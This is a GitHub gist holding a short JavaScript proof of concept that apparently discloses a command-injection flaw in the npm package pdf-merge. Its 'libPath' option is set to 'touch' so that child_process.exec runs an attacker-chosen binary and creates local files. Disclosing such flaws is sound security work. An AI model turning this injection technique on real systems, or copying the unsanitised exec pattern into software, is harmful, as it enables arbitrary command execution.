Created
October 29, 2023 14:44
-
-
Save mcoimbra/2b006361010d6cf27b99b8dea5a7753a to your computer and use it in GitHub Desktop.
Package pdf-merge: it is possible to inject a custom binary and arguments for example to create a local file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('pdf-merge'); | |
const args = ['exploited.txt', '']; | |
const options = { | |
libPath: 'touch' | |
}; | |
/* | |
* Internally, child_process.exec will receive the following 'args' array: | |
* args = ["'exploited.txt'", '', 'cat', 'output', '/tmp/tmp-51678QKAWg57RLnT9'] | |
* This will create local files 'exploited.txt', 'cat' and 'output'. | |
*/ | |
pkg(args, options); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment